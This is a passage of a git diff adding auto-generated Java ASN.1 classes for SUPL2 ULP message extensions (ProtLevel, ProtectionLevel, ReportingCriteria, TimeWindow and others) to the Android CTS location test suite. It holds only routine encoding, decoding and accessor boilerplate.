+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_NotificationMode;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_NotificationMode != null) {
+ return ImmutableList.of(TAG_NotificationMode);
+ } else {
+ return Asn1Enumerated.getPossibleFirstTags();
+ }
+ }
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override protected Asn1Enumerated.Value lookupValue(int ordinal) {
+ return Value.values()[ordinal];
+ }
+
+ @Override protected Asn1Enumerated.Value lookupExtensionValue(int ordinal) {
+ return ExtensionValue.values()[ordinal];
+ }
+
+ @Override protected int getValueCount() {
+ return Value.values().length;
+ }
+
+ /**
+ * Creates a new NotificationMode from encoded stream.
+ */
+ public static NotificationMode fromPerUnaligned(byte[] encodedBytes) {
+ NotificationMode result = new NotificationMode();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new NotificationMode from encoded stream.
+ */
+ public static NotificationMode fromPerAligned(byte[] encodedBytes) {
+ NotificationMode result = new NotificationMode();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "NotificationMode = " + getValue() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/ProtLevel.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/ProtLevel.java
new file mode 100755
index 0000000..83e3cd4
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/ProtLevel.java
@@ -0,0 +1,158 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_version_2_message_extensions;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Enumerated;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class ProtLevel extends Asn1Enumerated {
+ public enum Value implements Asn1Enumerated.Value {
+ nullProtection(0),
+ basicProtection(1),
+ ;
+
+ Value(int i) {
+ value = i;
+ }
+
+ private int value;
+ public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return false;
+ }
+ }
+
+ public enum ExtensionValue implements Asn1Enumerated.Value {
+ ;
+
+ ExtensionValue(int i) {
+ value = i;
+ }
+
+ private int value;
+ @Override public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return true;
+ }
+ }
+
+
+
+ private static final Asn1Tag TAG_ProtLevel
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ProtLevel() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ProtLevel;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ProtLevel != null) {
+ return ImmutableList.of(TAG_ProtLevel);
+ } else {
+ return Asn1Enumerated.getPossibleFirstTags();
+ }
+ }
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override protected Asn1Enumerated.Value lookupValue(int ordinal) {
+ return Value.values()[ordinal];
+ }
+
+ @Override protected Asn1Enumerated.Value lookupExtensionValue(int ordinal) {
+ return ExtensionValue.values()[ordinal];
+ }
+
+ @Override protected int getValueCount() {
+ return Value.values().length;
+ }
+
+ /**
+ * Creates a new ProtLevel from encoded stream.
+ */
+ public static ProtLevel fromPerUnaligned(byte[] encodedBytes) {
+ ProtLevel result = new ProtLevel();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ProtLevel from encoded stream.
+ */
+ public static ProtLevel fromPerAligned(byte[] encodedBytes) {
+ ProtLevel result = new ProtLevel();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ProtLevel = " + getValue() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/ProtectionLevel.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/ProtectionLevel.java
new file mode 100755
index 0000000..bd14952
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/ProtectionLevel.java
@@ -0,0 +1,284 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_version_2_message_extensions;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class ProtectionLevel extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_ProtectionLevel
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ProtectionLevel() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ProtectionLevel;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ProtectionLevel != null) {
+ return ImmutableList.of(TAG_ProtectionLevel);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ProtectionLevel from encoded stream.
+ */
+ public static ProtectionLevel fromPerUnaligned(byte[] encodedBytes) {
+ ProtectionLevel result = new ProtectionLevel();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ProtectionLevel from encoded stream.
+ */
+ public static ProtectionLevel fromPerAligned(byte[] encodedBytes) {
+ ProtectionLevel result = new ProtectionLevel();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private ProtLevel protlevel_;
+ public ProtLevel getProtlevel() {
+ return protlevel_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ProtLevel
+ */
+ public void setProtlevel(Asn1Object value) {
+ this.protlevel_ = (ProtLevel) value;
+ }
+ public ProtLevel setProtlevelToNewInstance() {
+ protlevel_ = new ProtLevel();
+ return protlevel_;
+ }
+
+ private BasicProtectionParams basicProtectionParams_;
+ public BasicProtectionParams getBasicProtectionParams() {
+ return basicProtectionParams_;
+ }
+ /**
+ * @throws ClassCastException if value is not a BasicProtectionParams
+ */
+ public void setBasicProtectionParams(Asn1Object value) {
+ this.basicProtectionParams_ = (BasicProtectionParams) value;
+ }
+ public BasicProtectionParams setBasicProtectionParamsToNewInstance() {
+ basicProtectionParams_ = new BasicProtectionParams();
+ return basicProtectionParams_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getProtlevel() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getProtlevel();
+ }
+
+ @Override public void setToNewInstance() {
+ setProtlevelToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ProtLevel.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "protlevel : "
+ + getProtlevel().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getBasicProtectionParams() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBasicProtectionParams();
+ }
+
+ @Override public void setToNewInstance() {
+ setBasicProtectionParamsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? BasicProtectionParams.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "basicProtectionParams : "
+ + getBasicProtectionParams().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("ProtectionLevel = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/ReportingCriteria.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/ReportingCriteria.java
new file mode 100755
index 0000000..7167d48
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/ReportingCriteria.java
@@ -0,0 +1,507 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_version_2_message_extensions;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class ReportingCriteria extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_ReportingCriteria
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ReportingCriteria() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ReportingCriteria;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ReportingCriteria != null) {
+ return ImmutableList.of(TAG_ReportingCriteria);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ReportingCriteria from encoded stream.
+ */
+ public static ReportingCriteria fromPerUnaligned(byte[] encodedBytes) {
+ ReportingCriteria result = new ReportingCriteria();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ReportingCriteria from encoded stream.
+ */
+ public static ReportingCriteria fromPerAligned(byte[] encodedBytes) {
+ ReportingCriteria result = new ReportingCriteria();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private TimeWindow timeWindow_;
+ public TimeWindow getTimeWindow() {
+ return timeWindow_;
+ }
+ /**
+ * @throws ClassCastException if value is not a TimeWindow
+ */
+ public void setTimeWindow(Asn1Object value) {
+ this.timeWindow_ = (TimeWindow) value;
+ }
+ public TimeWindow setTimeWindowToNewInstance() {
+ timeWindow_ = new TimeWindow();
+ return timeWindow_;
+ }
+
+ private ReportingCriteria.maxNumberofReportsType maxNumberofReports_;
+ public ReportingCriteria.maxNumberofReportsType getMaxNumberofReports() {
+ return maxNumberofReports_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ReportingCriteria.maxNumberofReportsType
+ */
+ public void setMaxNumberofReports(Asn1Object value) {
+ this.maxNumberofReports_ = (ReportingCriteria.maxNumberofReportsType) value;
+ }
+ public ReportingCriteria.maxNumberofReportsType setMaxNumberofReportsToNewInstance() {
+ maxNumberofReports_ = new ReportingCriteria.maxNumberofReportsType();
+ return maxNumberofReports_;
+ }
+
+ private ReportingCriteria.minTimeIntervalType minTimeInterval_;
+ public ReportingCriteria.minTimeIntervalType getMinTimeInterval() {
+ return minTimeInterval_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ReportingCriteria.minTimeIntervalType
+ */
+ public void setMinTimeInterval(Asn1Object value) {
+ this.minTimeInterval_ = (ReportingCriteria.minTimeIntervalType) value;
+ }
+ public ReportingCriteria.minTimeIntervalType setMinTimeIntervalToNewInstance() {
+ minTimeInterval_ = new ReportingCriteria.minTimeIntervalType();
+ return minTimeInterval_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getTimeWindow() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getTimeWindow();
+ }
+
+ @Override public void setToNewInstance() {
+ setTimeWindowToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? TimeWindow.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "timeWindow : "
+ + getTimeWindow().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getMaxNumberofReports() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMaxNumberofReports();
+ }
+
+ @Override public void setToNewInstance() {
+ setMaxNumberofReportsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ReportingCriteria.maxNumberofReportsType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "maxNumberofReports : "
+ + getMaxNumberofReports().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getMinTimeInterval() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMinTimeInterval();
+ }
+
+ @Override public void setToNewInstance() {
+ setMinTimeIntervalToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ReportingCriteria.minTimeIntervalType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "minTimeInterval : "
+ + getMinTimeInterval().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class maxNumberofReportsType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_maxNumberofReportsType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public maxNumberofReportsType() {
+ super();
+ setValueRange("1", "65536");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_maxNumberofReportsType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_maxNumberofReportsType != null) {
+ return ImmutableList.of(TAG_maxNumberofReportsType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new maxNumberofReportsType from encoded stream.
+ */
+ public static maxNumberofReportsType fromPerUnaligned(byte[] encodedBytes) {
+ maxNumberofReportsType result = new maxNumberofReportsType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new maxNumberofReportsType from encoded stream.
+ */
+ public static maxNumberofReportsType fromPerAligned(byte[] encodedBytes) {
+ maxNumberofReportsType result = new maxNumberofReportsType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "maxNumberofReportsType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class minTimeIntervalType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_minTimeIntervalType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public minTimeIntervalType() {
+ super();
+ setValueRange("1", "86400");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_minTimeIntervalType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_minTimeIntervalType != null) {
+ return ImmutableList.of(TAG_minTimeIntervalType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new minTimeIntervalType from encoded stream.
+ */
+ public static minTimeIntervalType fromPerUnaligned(byte[] encodedBytes) {
+ minTimeIntervalType result = new minTimeIntervalType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new minTimeIntervalType from encoded stream.
+ */
+ public static minTimeIntervalType fromPerAligned(byte[] encodedBytes) {
+ minTimeIntervalType result = new minTimeIntervalType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "minTimeIntervalType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("ReportingCriteria = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/TimeWindow.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/TimeWindow.java
new file mode 100755
index 0000000..e7603fa
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/TimeWindow.java
@@ -0,0 +1,447 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_version_2_message_extensions;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class TimeWindow extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_TimeWindow
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public TimeWindow() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_TimeWindow;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_TimeWindow != null) {
+ return ImmutableList.of(TAG_TimeWindow);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new TimeWindow from encoded stream.
+ */
+ public static TimeWindow fromPerUnaligned(byte[] encodedBytes) {
+ TimeWindow result = new TimeWindow();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new TimeWindow from encoded stream.
+ */
+ public static TimeWindow fromPerAligned(byte[] encodedBytes) {
+ TimeWindow result = new TimeWindow();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private TimeWindow.startTimeType startTime_;
+ public TimeWindow.startTimeType getStartTime() {
+ return startTime_;
+ }
+ /**
+ * @throws ClassCastException if value is not a TimeWindow.startTimeType
+ */
+ public void setStartTime(Asn1Object value) {
+ this.startTime_ = (TimeWindow.startTimeType) value;
+ }
+ public TimeWindow.startTimeType setStartTimeToNewInstance() {
+ startTime_ = new TimeWindow.startTimeType();
+ return startTime_;
+ }
+
+ private TimeWindow.stopTimeType stopTime_;
+ public TimeWindow.stopTimeType getStopTime() {
+ return stopTime_;
+ }
+ /**
+ * @throws ClassCastException if value is not a TimeWindow.stopTimeType
+ */
+ public void setStopTime(Asn1Object value) {
+ this.stopTime_ = (TimeWindow.stopTimeType) value;
+ }
+ public TimeWindow.stopTimeType setStopTimeToNewInstance() {
+ stopTime_ = new TimeWindow.stopTimeType();
+ return stopTime_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getStartTime() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getStartTime();
+ }
+
+ @Override public void setToNewInstance() {
+ setStartTimeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? TimeWindow.startTimeType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "startTime : "
+ + getStartTime().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
